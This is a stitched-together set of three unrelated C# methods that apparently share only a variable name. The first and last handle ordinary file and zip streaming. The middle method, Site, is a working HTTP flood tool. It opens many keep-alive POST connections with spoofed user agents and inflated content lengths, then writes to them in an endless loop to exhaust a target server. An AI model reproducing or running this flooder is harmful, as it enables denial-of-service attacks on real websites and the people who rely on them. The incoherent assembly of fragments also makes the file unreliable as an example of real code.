/// <summary> /// Handles the actual writing of the submitted data to the file system. /// </summary> /// <param name="transfer">The processed transfer.</param> /// <param name="dataBlock">A data block that contains a chunk of data /// which should be written to the file system.</param> protected override void WriteBufferedDataBlockImpl(TTransfer transfer, BufferedDataBlock dataBlock) { TempStream stream = GetCachedTempData(transfer, dataBlock.Offset); byte[] data = dataBlock.Data; stream.Write(data, 0, data.Length); }
public static void Site(string URL, long Size, string Word, long Amount) { CJ = new CookieContainer(); HttpWebRequest Request = (HttpWebRequest)WebRequest.Create(new Uri(URL)); Request.ContentType = "application/x-www-form-urlencoded"; Request.Referer = URL; Request.UserAgent = GenerateRandomUserAgent(); Request.CookieContainer = CJ; HttpWebResponse Response = (HttpWebResponse)Request.GetResponse(); Thread.Sleep(1 * 1000); List <HttpWebRequest> ConnectionList = new List <HttpWebRequest>(); Stream TempStream; Random RandomLength = new Random(DateTime.Now.Millisecond); for (int i = 0; i < Amount; i++) { HttpWebRequest TempRequest = (HttpWebRequest)WebRequest.Create(new Uri(URL)); TempRequest.ContentType = "application/x-www-form-urlencoded"; TempRequest.UserAgent = GenerateRandomUserAgent(); TempRequest.CookieContainer = CJ; TempRequest.Method = WebRequestMethods.Http.Post; TempRequest.KeepAlive = true; TempRequest.ContentLength = RandomLength.Next(20000000, 100000000); TempRequest.ServicePoint.ConnectionLimit = 10000; ConnectionList.Add(TempRequest); } while (true) { for (int i = 0; i < Amount; i++) { for (long j = 0; j < Size; j++) { TempStream = ConnectionList[i].GetRequestStream(); TempStream.Write(Encoding.Default.GetBytes(Word), 0, Encoding.Default.GetBytes(Word).Length); Console.WriteLine((enUS.get(Global.Messages.WEB_SENDED)).Replace("[word]", Word).Replace("[url]", URL).Replace("[size]", "" + Size)); } } GC.Collect(); } }
private Stream ExtractWholeFile(ZipEntry ze, ref string path) { using (var file = ModFile.GetInputStream(ze)) { Stream TempStream; if (path != null || ze.Size > 67108864) { TempStream = Framework.CreateTempFile(out path); } else { TempStream = new MemoryStream((int)ze.Size); } var buffer = new byte[4096]; int i; while ((i = file.Read(buffer, 0, 4096)) > 0) { TempStream.Write(buffer, 0, i); } TempStream.Position = 0; return(TempStream); } }